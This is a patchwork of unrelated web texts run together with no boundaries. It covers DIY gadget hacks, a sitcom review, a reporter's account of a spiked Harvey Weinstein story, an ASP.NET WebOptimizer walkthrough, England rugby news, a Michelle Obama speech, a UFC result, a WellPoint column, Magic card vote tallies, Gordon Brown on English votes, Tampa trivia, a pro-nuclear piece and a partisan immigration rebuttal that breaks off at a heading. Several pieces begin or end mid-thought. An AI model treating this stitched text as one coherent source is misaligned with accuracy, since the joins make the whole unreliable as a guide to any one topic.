"The information we have so far is insufficient," Interior Minister Thomas de Maiziere, one of Merkel's closest cabinet allies, told German weekly magazine Der Spiegel. He added that the practices of the US were “over-the-top.”
10. Insulate Your Home with Bubble Wrap
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Insulating your home is one of the best ways to save money right now, but if you don't have the cash (or the time) to drop on some real storm windows, a little bubble wrap will do the trick very quickly. It certainly isn't pretty, but it works remarkably well, plus you have hours of bubble-popping fun ahead of you for the rest of the winter.
9. Up Your Headphones' Game with Industrial Earmuffs
Got some janky headphones lying around? This project won't make them any less so, but they will turn them into a pair of intense cans that will shield you from all outside noise. All you need is a pair of $20 earmuffs from a home improvement store and the willingness to tear apart your old headphones. If you're more of an earbud user, you can improve their noise isolation with a few foam earplugs.
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8. Turn Just About Anything Into a Laptop Stand
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Ergonomically, it's better for you to have your laptop raised and at an angle, and if you have it on your lap, you definitely want to keep that heat away from your legs. But, when you don't have one of these awesome laptop stands nearby, you can make one out of just about anything, including kitchen cooling racks, 3-ring binders, and even cardboard. None of them are going to win any design contests, but they'll work. Of course, with a bit of extra elbow grease, you could make something a bit nicer looking as well. It just takes a little more effort.
Five Best Laptop Stands Working on a laptop for long hours can be killer on your back, neck, and overall posture. An easy… Read more Read
7. Make a Tablet Stylus Out of a Candy Bar Wrapper
Modern tablets were designed for fingers, but on those rare occasions you want to become an iPad artist, you can make a ridiculous looking stylus out of a pen and a candy bar wrapper. It works pretty darn well, too, for something that was free.
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Five Best Tablet Drawing Apps If you have a tablet and want to express your creativity, there are plenty of great apps you can… Read more Read
6. Watch Over-the-Air TV Through a Disposable Pie Tin
There are some fantastic TV antennas out there, but why drop money on something pretty when you can make something heinously ugly that works just as well? (Okay, I think I just answered my own question). If you don't care too much about looks and you want to get rid of cable, you can make a perfectly functional TV antenna out of nothing but a disposable pie tin. It's cheap as heck, ugly as sin, and it works shockingly well.
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5. Organize Your Cables with Toilet Paper Tubes
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It's amazing how quickly one can amass extra cables in this day and age, but thankfully, you can keep them organized and tangle-free with leftover toilet paper tubes. Despite how ridiculous it sounds (and looks), this little organizer is actually pretty clever. After all, it's not like you're going to have it out in the open for everyone to see—you just need somewhere to store those old component and mini-USB cables you don't use anymore.
4. Store All Sorts of Stuff with Wire Hangers
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Wire hangers are the "jack of all trades" of the garbage world. With a little bending and molding they can do just about anything, while being uglier than every other solution out there. Turn them into a smartphone mounts, microphone stands, cable organizers, or even a razor and shaving brush holder. They won't win any beauty contests, but they'll bend to your will in almost any situation.
3. Boost Your Wi-Fi with Aluminum Foil
Nothing's more tiring than getting one bar of Wi-Fi at the other end of your house, but luckily, there's an ugly solution just waiting for you to try it out. The DIY "Windsurfer" extender is a simple parabola that you can put together with some paper and tin foil, and it works remarkably well at extending your Wi-Fi signal. Alternatively, you can use an old beer can, if you're looking for something that says "I love janky life hacks and I drink a lot of crappy beer."
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2. Mount Your Phone in Your Car with a Binder Clip
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Most smartphones have solid turn-by-turn navigation on them these days, but it seems stupid to pay $40 for a car dock, especially when it only fits your current phone. For only $3, you can put together an insanely functional car dock from a binder clip, a rubber band, and some yarn. Nothing says janky like office supplies you bent with a pair of pliers, but this is still the best DIY car dock we've seen yet. Be sure to check out all the other things you can make with binder clips, too.
1. Anything That Involves Sugru
Ah, Sugru. It's one of the most versatile, useful DIY ingredients out there, but it always looks like you took some Play-Doh and smeared it all over your gadgets like a two year old child. It's hard to argue with its effectiveness, though. With it, you can repair earbuds, hang your keys by the door, mount your gadgets to your dashboard, turn your phone into a serious gaming handset, replace broken laptop bumpers, and oh-so-much more. Check out our Sugru tag for more projects featuring the mystical moldable mud...just don't expect them to look professional.
First of all, they built the block on a Hollywood lot, so it's already all too clean looking. The architecture of the brick townhouses looks fairly accurate...
However, the street itself looks more Village than anything. It's not often you see a Yellow Cab in Ridgewood.
Since the show is focused on “four single 30-something underdogs," and is a single-camera sitcom, you're not going to be cringing as characters ruin your favorite bar or hype up the neighborhood too much. This isn't like Girls, where a sense of realism is brought to the table. It's from the guy who made King of Queens, and he's made the interior of a Ridgewood apartment look like a suburban home...
The interior is not very realistic.
You will also see some city-centric impossibilities, just like in any classic fictional television show. For example, the Queens Ledger pointed out, "A Queens-native should know better than to have the characters in Flushing Meadows-Corona Park shortly after leaving the Ridgewood townhouse—it's not really accessible quickly by foot or subway and the surprise of one character at being followed to the park leads us to believe that they were not all packed into the same bus." And as Bushwick Daily noted, one character seemed to attempt walking from Manhattan to Ridgewood on the Queensboro Bridge.
He apologized and took an immediate leave of absence from the company he co-founded, but that wasn’t enough. His board members and legal advisers have been resigning en masse. And as new, ugly details emerge of three decades of settlements for sex-related offenses, he’s quickly becoming a national pariah.
I applaud The New York Times and writers Jodi Kantor and Megan Twohey for getting the story in print. I’m sure it was a long and difficult road.
Also Read: What Does the Harvey Weinstein Scandal Mean for The Weinstein Co.?
But I simply gagged when I read Jim Rutenberg’s sanctimonious piece on Saturday about the “media enablers” who kept this story from the public for decades.
“Until now,” he puffed, “no journalistic outfit had been able, or perhaps willing, to nail the details and hit publish.”
That’s right, Jim. No one — including The New York Times.
In 2004, I was still a fairly new reporter at The New York Times when I got the green light to look into oft-repeated allegations of sexual misconduct by Weinstein. It was believed that many occurred in Europe during festivals and other business trips there.
Also Read: Lisa Bloom Resigns as Adviser to Harvey Weinstein
I traveled to Rome and tracked down the man who held the plum position of running Miramax Italy. According to multiple accounts, he had no film experience and his real job was to take care of Weinstein’s women needs, among other things.
As head of Miramax Italy in 2003 and 2004, Fabrizio Lombardo was paid $400,000 for less than a year of employment. He was on the payroll of Miramax and thus the Walt Disney Company, which had bought the indie studio in 1993.
I had people on the record telling me Lombardo knew nothing about film, and others citing evenings he organized with Russian escorts.
Also Read: Harvey Weinstein's Scandal Turns Him From Democratic Player to Political Pariah
At the time, he denied that he was on the payroll to help Weinstein with favors. From the story: “Reached in Italy, Mr. Lombardo declined to comment on the circumstances of his leaving Miramax or Ricucci, saying they were legal matters being handled by lawyers. ‘I am very proud of what we achieved at Miramax here in Italy,’ he said of his work for the film company. ‘It cannot be that they hired me because I’m a friend.'”
I also tracked down a woman in London who had been paid off after an unwanted sexual encounter with Weinstein. She was terrified to speak because of her non-disclosure agreement, but at least we had evidence of a pay-off.
The story I reported never ran.
After intense pressure from Weinstein, which included having Matt Damon and Russell Crowe call me directly to vouch for Lombardo and unknown discussions well above my head at the Times, the story was gutted.
I was told at the time that Weinstein had visited the newsroom in person to make his displeasure known. I knew he was a major advertiser in the Times, and that he was a powerful person overall.
But I had the facts, and this was the Times. Right?
Also Read: TV Reporter: Harvey Weinstein Masturbated in Front of Me
Wrong. The story was stripped of any reference to sexual favors or coercion and buried on the inside of the Culture section, an obscure story about Miramax firing an Italian executive. Who cared?
The Times’ then-culture editor Jon Landman, now an editor-at-large for Bloomberg, thought the story was unimportant, asking me why it mattered.
“He’s not a publicly elected official,” he told me. I explained, to no avail, that a public company would certainly have a problem with a procurer on the payroll for hundreds of thousands of dollars. At the time, Disney told me they had no idea Lombardo existed.
A spokeswoman for the Times had no comment on Sunday.
I was devastated after traveling to two countries and overcoming immense challenges to confirm at least part of the story that wound up running last week, more than a decade later. I had met in person with a woman who said she’d been paid off for an unwanted sexual encounter and thus proved she existed.
Also Read: Harvey Weinstein Has No Case Against the New York Times, Legal Experts Say
Update: Several have asked why I did not pursue the story once I started TheWrap. Fair question. Five years later, 2009, the moment had passed to go back and write the missing piece about Lombardo, who was no longer on the scene and whose story had been half-published in the Times. Miramax was no longer part of the Walt Disney Company. And I did not have sufficient evidence to write about a pay-off, even though I knew one existed. My focus was on raising money, building a website and starting a media company. In the subsequent years since then I did not hear about further pay-offs or harassment and thought the issue was in the past. Weinstein had made a big effort, supposedly, to curb his temper and behavior, which was reflected in other areas of his public life.
Second Update:
Actress Asia Argento, long rumored to have been assaulted by Harvey Weinstein, finally told her story to The New Yorker on Tuesday, saying that she was orally raped by him.
Weinstein denies any instance of coerced sexual activity.
But she tweeted on Tuesday evening that Fabrizio Lombardo, the procurer of women I referenced in the story below, brought her to Weinstein’s room in 1997:
Fabrizio Lombardo brought me to Weinstein's room when I was 21 in '97. He told me it was a Miramax party. Only Harvey was there. — Asia Argento (@AsiaArgento) October 11, 2017
In addition, a model who asked to remain anonymous wrote me this morning about Lombardo.
“I confirm his role in Weinstein’s life as a “procurer of women”……I believe that completely, just from my own experience of him,” she wrote. As a young model in Milan, she wrote, “He just kept coming after me…..calling me 12 times a day…..convincing convincing convincing me….offering me one of his many empty apts he just happens to have laying around Milano…..and the “good life” to go along with it…considering I had no aquaintence (sic) with him, this all was quite psycho in my eyes. I was definitive with my no’s….it just didn’t matter….he just kept coming…”
Today I wonder: If this story had come to light at the time, would Weinstein have continued his behavior for another decade, evidenced by the scathing 2015 memo by former staffer Lauren O’Connor unearthed by Kantor and Twohey.
Writes Rutenberg: “Mr. Weinstein had his own enablers. He built his empire on a pile of positive press clippings that, before the internet era, could have reached the moon.”
The New York Times was one of those enablers. So pardon me for having a deeply ambivalent response about the current heroism of the Times.
WebOptimizer - ASP.NET Core middleware for bundling and minification of CSS and JavaScript files at runtime. With full server-side and client-side caching to ensure high performance.
I'll try it out on a default ASP.NET Core 2.0 app.
First, assuming I've installed http://dot.net I'll run
C:\Users\scott\Desktop> cd squishyweb
C:\Users\scott\Desktop\squishyweb> dotnet new mvc
The template "ASP.NET Core Web App (Model-View-Controller)" was created successfully.
This template contains technologies from parties other than Microsoft, see https://aka.ms/template-3pn for details.
SNIP
Restore succeeded.
Then I'll add a reference to the WebOptimizer package. Be sure to check the versioning and pick the one you want, or use the latest.
C:\Users\scott\Desktop\squishyweb> dotnet add package LigerShark.WebOptimizer.Core --version 1.0.178-beta
Add the service in ConfigureServices and add it (I'll do it conditionally, only when in Production) in Configure. Notice I had to put it before UseStaticFiles() because I want it to get the first chance at those requests.
After running "dotnet run" I'll request site.css as an example and see it's automatically minimized:
You can control the pipeline with globbing like this:
If I wanted to combine some files into an output "file" that'll be held/cached only in memory, I can do that also. To be clear, it'll never touch the disk, it's just a URL. Then I can just refer to it with a <link> within my Razor Page or main Layout.
WebOptimizer also supports automatic "cache busting" with a ?v= query string created by a TagHelper. It can even compile Scss (Sass) files into CSS. There's plugins for TypeScript, Less, and Markdown too!
WebOptimizer is open source and lives at https://github.com/ligershark/WebOptimizer. Go check it out, kick the tires, and see if it meets your needs! Maybe get involved and make a fix or help with docs! There are already some open issues you could start helping with.
The country's RBS 6 Nations Grand Slam heroes enjoyed a productive session at Brighton College, while there were several absentees due to the culmination of the Aviva Premiership season.
Eddie Jones was on hand to keep a close watch on his troops ahead of the friendly against Wales at Twickenham a week on Sunday - an event also known as the Old Mutual Wealth Cup.
Wasps fly-half Danny Cipriani runs with the ball during the England training session at Brighton College
Harlequins full-back Mike Brown looks to impress during training on Tuesday ahead of the Wales friendly
Eddie Jones was on hand to keep a close watch on his troops ahead of the friendly against Wales this month
Bath centre Jonathan Joseph passes the ball during the England training session held at Brighton College
Outcast fly-half Danny Cipriani has a chance to re-ignite his England career after he was named in Jones' training squad ahead of the summer tour.
Cipriani, who is part of a 26-man provisional squad that has met up in Brighton for a three-day camp, has not played for England since before the World Cup but he will now challenge George Ford and Owen Farrell for the No 10 jersey.
The Aviva Premiership semi-finals take place this weekend, with the final match of the campaign taking place on May 28 - but Jones has pressed ahead with his plans for the summer without those still in the hunt for domestic silverware.
Saracens, Leicester, Wasps and Exeter are all in contention to be crowned champions of England, meaning England's summer preparations have been far from ideal, with the likes of Farrell, Maro Itoje, Jack Nowell and Geoff Parling missing from the group that assembled on Tuesday.
Northampton hooker and England captain Dylan Hartley has urged his side to go to Australia to make history
Eddie Jones warned the Grand Slam winners' last month that their England spots were in doubt for Australia
Semesa Rokoduguni and George Ford wrestle for the ball during the training session on the south coast
Outside centre Joseph scored a hat-trick of tries against Italy in the second round of the 2016 RBS 6 Nations
ENGLAND TOUR OF AUSTRALIA June 11: First Test - Brisbane (Suncorp Stadium) 11am BST June 18: Second Test - Melbourne (AAMI Park) 11am BST June 25: Third Test - Sydney (Allianz Stadium) 11am BST
England line up at Suncorp Stadium in Brisbane for the first Test against Australia on 11 June, meaning Jones may have just one full week of training with some squad players, which could include the Vunipola brothers, Billy and Mako, as well as Saracens flanker George Kruis.
There were several familiar faces among those who did convene on the south coast, however, and captain Dylan Hartley has urged his team-mates to make history Down Under.
'There would be no point me going if I didn't think we could go to Australia and win,' Northampton hooker Hartley told England rugby's official website.
Hartley is keen to ensure complacency does not become an issue after a successful start to Jones' reign
Jones is preparing for England's first Test against Australia on 11 June at Suncorp Stadium in Brisbane
Rokoduguni, Anthony Watson (centre) and Brown look on as the squad prepare for another drill in training
Jones issues instructions towards the end of England's training session held at Brighton College on Tuesday
ENGLAND'S 26-MAN TRAINING SQUAD Forwards: Dave Attwood, Kieran Brookes, Jack Clifford, Charlie Ewels, Dylan Hartley, Teimana Harrison, Paul Hill, Matt Kvesic, Courtney Lawes, Joe Marler, Chris Robshaw, Kyle Sinckler, Tommy Taylor. Backs: Mike Brown, Luther Burrell, Danny Care, Danny Cipriani, Ollie Devoto, George Ford, Jonathan Joseph, Mike Haley, Alex Lewington, Semesa Rokoduguni, Anthony Watson, Marland Yarde, Micky Young.
'If we want to be the best, we've got to beat the best and what better place to do that than against Australia in their own back yard. I'm looking-forward to it and I've got a highly-motivated squad that want to do that as well.'
Jones warned his players last month that a handful of Grand Slam winners were at risk of missing out on the summer tour of Australia, and Hartley is keen to ensure complacency does not become an issue.
'Our main goal was to get better and improve over the RBS 6 Nations and to win the tournament and we did that,' he added.
'We went up in the world rankings. The next step is to play the number one and two sides in the world in New Zealand and Australia and we've got Australia.
'We need to recap the RBS 6 Nations and what made us tick there. We need to progress and we need to get better, we can't play the same standard of rugby as we did in the RBS 6 Nations. It's another step up but it's exciting.'
“It’s the story that I witness every single day, when I wake up in a house that was built by slaves,” Obama told the 3,000 graduates and their families Friday, adding:
And I watch my daughters–two beautiful, black young women–head off to school–waving goodbye to their father, the President of the United States, the son of a man from Kenya who came here to American–to America for the same reasons as many of you: To get an education and improve his prospects in life.
The first lady also launched a thinly veiled attack on presumptive Republican presidential nominee Donald Trump, saying, “Some folks out there” don’t value the diversity that City College exemplifies.
“They seem to view our diversity as a threat to be contained rather than as a resource to be tapped,” Obama said. “They tell us to be afraid of those who are different, to be suspicious of those with whom we disagree.”
“Here in America, we don’t give in to our fears,” she added. “We don’t build up walls to keep people out because we know that our greatness has always depended on contributions from people who were born elsewhere but sought out this country and made it their home.”
Donald Trump has released a plan to build a wall on the United States-Mexico border and has proposed a temporary ban on Muslim travel to the U.S.
Obama continued, “They act as if name-calling is an acceptable substitute for thoughtful debate, as if anger and intolerance should be our default state rather than the optimism and openness that have always been the engine of our progress.”
This was the last commencement address of Michelle Obama’s tenure as first lady.
Over the course of its 169-year history, City College became known as the poor man’s Harvard when it began educating displaced Jews and other monitories shut out of elite private colleges.
Event: UFC 129 St Pierre vs Shields
Date: 2011-04-30
Where: Rogers Centre, Toronto, Ontario, Canada
Division: welterweight
Title: UFC welterweight championship
Result: Click here to show the fight’s result
Georges St Pierre def. Jake Shields (unanimous decision)
Shields’ next fight: Jake Shields vs Jake Ellenberger
St Pierre’s next fight: Georges St Pierre vs Carlos Condit
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No corporation can claim a more vital role in passing and starting to implement the health care reform law than WellPoint, which has a larger customer base (34 million) than any other health insurer in the United States. This is not to say that WellPoint supported health reform; quite the opposite. But as President Obama’s May 8 radio address demonstrated not for the first time (text, audio), WellPoint is a uniquely maladroit corporate heavy. If it didn’t exist, Obama might have had to invent it.
“[W]hen we found out that an insurance company was systematically dropping the coverage of women diagnosed with breast cancer,” Obama said in the address, “my administration called on them to end this practice immediately.” The company went unnamed, but it was WellPoint, and news of the practice was broken by Reuters in an April 22 news story by Murray Waas, an investigative reporter who also happens to be a cancer survivor. Waas reported that WellPoint
was using a computer algorithm that automatically targeted … every … policyholder recently diagnosed with breast cancer. The software triggered an immediate fraud investigation, as the company searched for some pretext to drop their policies, according to government regulators and investigators.
This prompted Health and Human Services Secretary Kathleen Sebelius to write WellPoint chief executive Angela Braly and pronounce herself “surprised and disappointed.” This practice, Sebelius wrote, was “deplorable.” Braly replied that it was she who was “disappointed” that both Sebelius and Waas would “grossly misrepresent” the policies of a corporate citizen in whose Indianapolis headquarters hung “a three-story pink ribbon.” Braly referred Sebelius to a fact sheet stating that the computer software in question “is used to look at a series of diagnostic codes meant to capture conditions that applicants would likely have known about at the time they applied for coverage. We do not single out breast cancer or pregnancy.”
In other words, WellPoint had a computer program able to identify multiple diseases it found especially conducive to rescission (the routine and disgraceful practice by which health insurers comb through the paperwork of seriously ill policyholders in search of some chicken-shit reason to nullify the policy). Why Braly thought this assertion might improve her company’s image is hard to guess. When the smoke cleared, WellPoint had been maneuvered into volunteering to end such rescissions as of May 1, nearly five months ahead of the deadline imposed by the new health law (which prohibits rescissions except when the patient commits fraud or “makes an intentional misrepresentation of material fact”). United Healthcare quickly followed suit.
Remember February? Health care reform was dead, killed by the unexpected loss of Sen. Ted Kennedy’s Massachusetts seat to an anti-reform Republican named Scott Brown. Then health reform came back to life. House Speaker Nancy Pelosi deserves a lot of the credit, along with Senate Majority Leader Harry Reid and, of course, the president. But don’t discount WellPoint’s assist. On Feb. 4, the Los Angeles Times reported that a WellPoint subsidiary was preparing to raise its premiums in California by up to 39 percent. Sebelius pounced on that, too. “As you know,” she wrote the subsidiary’s president, “your parent company, WellPoint Incorporated, has seen its profits soar, earning $2.7 billion in the last quarter of 2009 alone.” Before the month was out, the investigations subcommittee of the House energy and commerce committee had called hearings (transcript, documents), at which Braly complained, “It is difficult to continue to have to raise rates.” The White House, meanwhile, used WellPoint’s apparent greed as a pretext to incorporate into a revived health reform bill a provision allowing the federal government to review and roll back excessive premium hikes. Later discarded, the price controls (which were somewhat impractical) gave Obama an opportunity to talk up the urgent need to get out-of-control health insurers in harness.
Then actuaries working under California Insurance Commissioner Steve Poizner, who is a candidate in the Republican gubernatorial primary, discovered that the WellPoint subsidiary had based its 39 percent rate hike (which required state approval) on faulty math, prompting Sebelius to pounce again. In a May 5 letter, she urged other state insurance commissioners to review rate increases proposed by other WellPoint subsidiaries to see whether they made “mistakes similar to those made in California.” In his May 8 radio address, Obama suggested, inaccurately, that his administration had caught the WellPoint error, and he touted Sebelius’s letter.
Once again, Braly was “disappointed.” In a May 9 letter to the president, she pointed out that during 2009 WellPoint paid for the treatment of 200,000 breast cancer patients and rescinded insurance policies for only four breast cancer patients. In essence, her argument boiled down to: You never hear about the breast cancer patients we didn’t cut off! Did I mention that Braly’s compensation package jumped this year to $13.1 million, up from $8.7 million the year before? They can’t possibly be paying that for her public relations skills.
E-mail Timothy Noah at chatterbox@slate.com.
We will be doing another batch of stats today/tomorrow! Send in your stats requests via the Ask button!
Visual results are here and today’s results are:
Return to the Ranks defeats Anvilwrought Raptor with 89.97% of the vote
Seal of the Guildpact defeats Deathcurse Ogre with 88.27% of the vote
Elder of Laurels defeats Skirsdag Supplicant with 86.16% of the vote
Wurmcalling defeats Needlepeak Spider with 86.07% of the vote
Cavern Harpy defeats Benediction of Moons with 85.12% of the vote
Fires of Yavimaya defeats Double Cleave with 84.03% of the vote
Eye of the Storm defeats Aphetto Runecaster with 82.41% of the vote
Deranged Assistant defeats Ixidor’s Will with 74.50% of the vote
Flesh Reaver defeats Nema Siltlurker with 74.20% of the vote
Jungle Troll defeats Giant Octopus with 73.66% of the vote
Island of Wak-Wak defeats Commencement of Festivities with 73.50% of the vote
Fleshformer defeats Coiling Woodworm with 69.41% of the vote
Rite of Ruin defeats Molten Influence with 67.00% of the vote
Frost Walker defeats Defy Gravity with 66.33% of the vote
Strafe defeats Despondency with 65.96% of the vote
Hydra Omnivore defeats Perilous Research with 65.58% of the vote
Suntouched Myr defeats Ronin Cavekeeper with 64.98% of the vote
Ordeal of Heliod defeats Exile into Darkness with 63.62% of the vote
Gatstaf Arsonists defeats Mudbutton Clanger with 62.89% of the vote
Quest for the Holy Relic defeats Fume Spitter with 62.31% of the vote
Magus of the Future defeats Surrak, the Hunt Caller with 61.46% of the vote
Library of Leng defeats Quick Sliver with 60.69% of the vote
Serum Raker defeats Goblin Bowling Team with 60.00% of the vote
Aegis of the Meek defeats Tidal Visionary with 58.53% of the vote
Predatory Nightstalker defeats Garrulous Sycophant with 55.36% of the vote
Slay defeats Nova Cleric with 53.94% of the vote
Butcher’s Cleaver defeats Plague Rats with 53.87% of the vote
Convalescent Care defeats Zephid with 52.43% of the vote
Blood Tribute defeats Urborg with 52.42% of the vote
Vulshok Heartstoker defeats Tourach’s Chant with 51.58% of the vote
Spectral Lynx defeats Azorius Keyrune with 50.74% of the vote
Former Prime Minister Gordon Brown has warned David Cameron that he could have "lit the fuse which ultimately blows the Union apart".
Mr Brown condemned Conservative plans for English votes for English laws.
He accused the prime minister of throwing away the result of last year's Scottish independence referendum.
Mr Brown told a House of Commons debate the plan created two classes of MPs, which had never proved successful anywhere in the world.
In what could be his final Commons address, he said there is a myth the Union can survive "this new polarisation between Scotland and England".
Mr Brown added: "The myth is that it is held together by bonds that are so longstanding they can overcome what is seen as a little local difficulty.
"But what may have been true in the aftermath of the Second World War and its shared sacrifice has given way to a new world where none of our ancient institutions are strong enough and popular enough on their own to hold us together.
Common needs
"The Union cannot survive on mutual respect alone - although it is in short supply at the moment. It will not survive just on the basis of mutual toleration of each other, a minimalist policy of holding each other at a distance for fear we will fight each other.
"The Union will only hold together if there are things the people of our four nations believe they have in common. Only if we emphasise there are common needs and mutual interests and similar values that make us want to cooperate."
Scottish Secretary Alistair Carmichael said there would be no easy answer or quick fix to the question.
To rush ahead would risk creating new anomalies to replace the existing ones, he said, and put pressure on the "hinges of the UK".
The Liberal Democrat minister said the "logical and lasting solution" would be the creation of a federal UK.
1. The name Tampa is believed to come from the Calusa phrase “Sticks of Fire.”
2. That’s probably because Tampa sees some nasty lightning each summer, which is how the local hockey team got its name.
3. When it comes to sports, the city is no stranger to futility. It took the Tampa Bay Buccaneers 25 years to return a kickoff for a touchdown.
4. Babe Ruth hit his longest home run during an exhibition game in Tampa—it sailed 587 feet.
5. The Salvador Dali Museum in nearby St. Petersburg is an incredible place. To test the strength of its freestanding staircase, two rugby teams danced on it—to disco. Dali would have been proud.
6. During Prohibition, Tampa was one of the top sellers of illegal liquor in the country.
7. In the 1980s, the city moved on to other hobbies. It was widely considered the death metal capital of the music world.
8. Tampa’s number one export? Phosphate.
9. Farmers love Tampa because all that phosphate is invaluable for fertilizer production.
10. Although back in the day, it was probably cigars—it’s still known as the “Cigar City.”
11. In 1929, the factory at Ybor City rolled approximately 500 million stogies!
12. It can get hot in Florida, but the temperature in Tampa has never hit 100 degrees.
13. Still, it’s nice to stay cool. In 1851, Tampa native John Gorrie invented the first mechanical refrigeration system—paving the way for air conditioning.
14. The delicious Cuban sandwich? Not Cuban. It was likely invented in Tampa.
15. Want to visit Cuba without leaving Florida? Visit Jose Marti Park. It’s technically Cuban soil.
16. Each year, “pirates” attack Tampa during the Gasparilla Pirate Festival.
17. The world’s first scheduled passenger flight flew from St. Pete to Tampa in 1914.
18. Tickets cost $5!
19. Tampa Bay may be Florida’s biggest port, but the waterway is surprisingly shallow—only 12 feet deep.
20. Manmade channels had to be dredged to allow ships in.
21. When Theodore Roosevelt and his Rough Riders were waiting to ship out for the Spanish-American War in 1898, they were stationed in Tampa.
22. Roosevelt wasn’t the only big name who came to Tampa during the conflict. Clara Barton arrived in town to help organize medical relief efforts.
23. Tampa is home to the world’s longest continuous sidewalk, Bayshore Boulevard. It’s 4.5 miles long!
24. Tampa is also home to Big Cat Rescue, an accredited sanctuary for big cats.
25. Tampa’s MacDill Air Force Base may be the second most important government building outside of the Pentagon. It’s home to U.S. Central Command, which oversees U.S. action in the Middle East.
Be Honest
Want proof? New data shows that 2015 is, so far, the hottest year in the recorded history of Earth.
Consider this chart, based on information released by the National Centers for Environmental Information, which compares the warmest days on record between 1998 and today. If the year lines were heights on a police lineup, 1998 through 2014 would be a high school basketball team and 2015 would be Kevin Durant.
Carbon dioxide emissions contribute to global warming. To dispute that in 2015 is paleolithic. A lot of those emissions come from fossil fuel-burning power plants, the bread and butter of most developed nations' energy sources. Research into renewable energy sources is moving along quickly, expanding funding and research into sky and sea, but there's a powerful natural resource we're neglecting and for no good reason: nuclear power.
The case for nuclear power: It's simple: Fossil fuels need to go.
At the rate we're going, we'll kill the planet before we actually run out of fossil fuels. Based on fossil fuel reserve and consumption data from the CIA, we may run out of fossil fuels by 2088. And while some studies say the concern about ever really running out of harvestable fuel sources is far-fetched, drilling into the ground to access unconventional fuel sources will probably beat the hell out of the planet and the atmosphere, thanks to a jump in the byproducts that come with more intense drilling. Most apparent are the earthquakes caused by hydraulic fracturing, or "fracking."
Nuclear power is a powerful and renewable resource, and it's what we should be using to power our everyday lives.
According to Staffan Qvist, a physicist at Uppsala University in Sweden, nuclear energy could supplant coal and gas by 2045, finally launching the planet into the modern era of energy.
"Any climate-neutral source producing energy today is effectively displacing the burning of fossil fuels," Qvist told Mic. His study, published in the journal PLOS One, explains his work in greater detail. "If we are serious about tackling emissions and climate change, no climate-neutral source should be ignored."
More than half of Sweden's electricity comes from nuclear power. In France, that number jumps to 80 percent.
So why haven't we in the United States switched energy sources to a nuclear-power majority already? We've owned the Lego blocks of a nuclear revolution for decades, the pieces to greatly reduce greenhouse gas emissions and even stop global warming in its ice-cap-melting tracks. We should already be in the nuclear age.
It's fear.
Initially reasonable, but currently unnecessary, fear of nuclear power leaves us swimming in a diminishing pool of dinosaur bones instead of soaring through technological advancements like Iron Man with a tricked out Arc Reactor.
Civilization isn't on the cusp of some Hunger Games dystopia in which our hubris has caused global atomic calamity. But people still think it is.
In 1986, the Chernobyl power plant in Ukraine exploded due to a flawed reactor design. It killed 30 plant workers and responding firemen over the course of a few months due to radiation poisoning, and caused the resettling of 116,000 people living within roughly 18 miles of the plant site.
Getty Images Chernobyl Nuclear Power Plant Reactor 4
Twenty-five years later, in 2011, a massive tsunami knocked out the power of three reactors at the Fukushima Dai-ichi power plant in Japan, causing the evacuation of more than 100,000 people from the area.
Neither instance had the impact of an atomic or hydrogen bomb. But just the marriage of the words "nuclear" and "accident" is enough to make an uninformed society high-tail out of any conversation about an expanded nuclear footprint. And that's why it isn't progressing as fast as possible.
The big misconception about nuclear power: A nuclear reactor's job is to harvest the energy released by the nucleus of a heavy atom splitting. According to Arjun Makhijani at the Institute for Energy and Environmental Research, for nuclear power to be used as a bomb, it needs to be almost completely fissile material. Power plants, on the other hand, have a very small amount of fissile material — as in, just a few percent.
That means, even if someone hijacked a nuclear power plant, the destruction they'd be able to cause would be closer to the sub-100 deaths of Chernobyl — not the 80,000 of Hiroshima in World War II.
"In the public's mind, the word 'nuclear' itself creates challenges, as it tends to trigger a general misunderstanding of radiation and the dangers it creates," Jim Hopson, a representative of the electric utility company Tennessee Valley Authority, told Mic. "The nuclear power industry has not [been] very successful in combating these misperceptions."
Overwhelmingly, nuclear power shows promise as a means of weaning the U.S. off its coal-fired plant habit, saving lives in the meantime.
Why we should get behind nuclear energy, and who already does: According to a paper by Pushker Kharecha and James Hansen of NASA's Goddard Institute for Space Studies and Columbia University Earth Institute, the greenhouse gas emissions avoided by nuclear power prevented an estimated 1.84 million air-pollution-related deaths that would otherwise have been lost due to fossil-fuel burning.
"A sustainable, future global energy system without fossil fuels will ideally consist of a combination of several different low-emission energy sources," Qvist told Mic. "If we take away nuclear from that equation, it becomes very difficult to solve. ... Looking at historic data, the only countries that successfully decarbonized their electricity grids in a relative[ly] short amount of time did so through nuclear."
1. All Republicans Don’t Hate Illegal Immigrants
Shaw argues that, contrary to common perception, there is actually widespread division within the GOP about how to handle immigrants. To establish that the GOP has a significant pro immigration wing he cites pro immigration actions/views of politicians such as Bush and Reagan and other GOP authority figures.
This argument totally misses the point of the common conception that Republicans do not like illegal immigrants. The narrative is not about politicians. We all know that no republican since Eisenhower has done anything useful to slow, let alone stop, the flow of illegal immigration. The relevant consideration is really what voters think, and Shaw fails to touch on this.
So, let’s look at what republicans actually think about immigration. To start off, in general republicans think that immigrants are a net negative on the nation and that immigration should be decreased.
Gallup (2014)
Pew (2015)
Republicans also support building a wall:
“Our most recent survey on this issue was in October 2011. At that time, 46% favored building a fence “along the entire border with Mexico,” while 47% were opposed. Republicans (62%) were far more likely than independents (44%) or Democrats (39%) to support the construction of a border fence.” – Pew (2015)
“The latest Rasmussen Reports national telephone survey finds that 70% of Likely Republican Voters agree with the GOP presidential hopeful that the United States should build a wall along the Mexican border to help stop illegal immigration. Seventeen percent (17%) of GOP voters disagree, while 13% are undecided.” – Rasmussen 2015
That being said, sadly, roughly half of republicans do support granting amnesty to illegals already in the US:
Pew (2015)
Gallup (2015)
So, those are the facts. Do they fit what most people believe republicans think about immigration? I dunno. Certainly, on average, republicans are not anti-illegal immigration enough for my taste. But they aren’t really pro-immigration either.
2. Sanctuary Cities Suck
Shaw defends cities which refuse to prosecute illegal immigrants with two lines of argument. Fist, it would cost the cities like LA a ton of money to go after all the illegals they harbor. Secondly, being a “sanctuary city” is not dangerous because 1st generation immigrants have a lower crime rate than average Americans do and, moreover, arresting illegals makes them afraid to report crimes which makes cracking down on crime even harder to do.
To begin with, it is true that going after illegal immigrants might cost some money. But chances are many of them would leave once they knew that the police were looking for them. Further more, the cost of leaving illegal immigrants in the country is far greater. (More on that below).
Shaw is correct to say that illegal immigrants may be disincentivized from reporting crime to the police. However, this is only a significant problem if your city is full of crime that only illegal immigrants see. Of course, this is only possible if your city is full of illegal immigrants to begin with. The solution, then, is to simply not have a large number of illegal immigrants in your city.
His other claim about immigrants and crime is best left for the next “myth”.
3. Illegal Immigrants and Crime
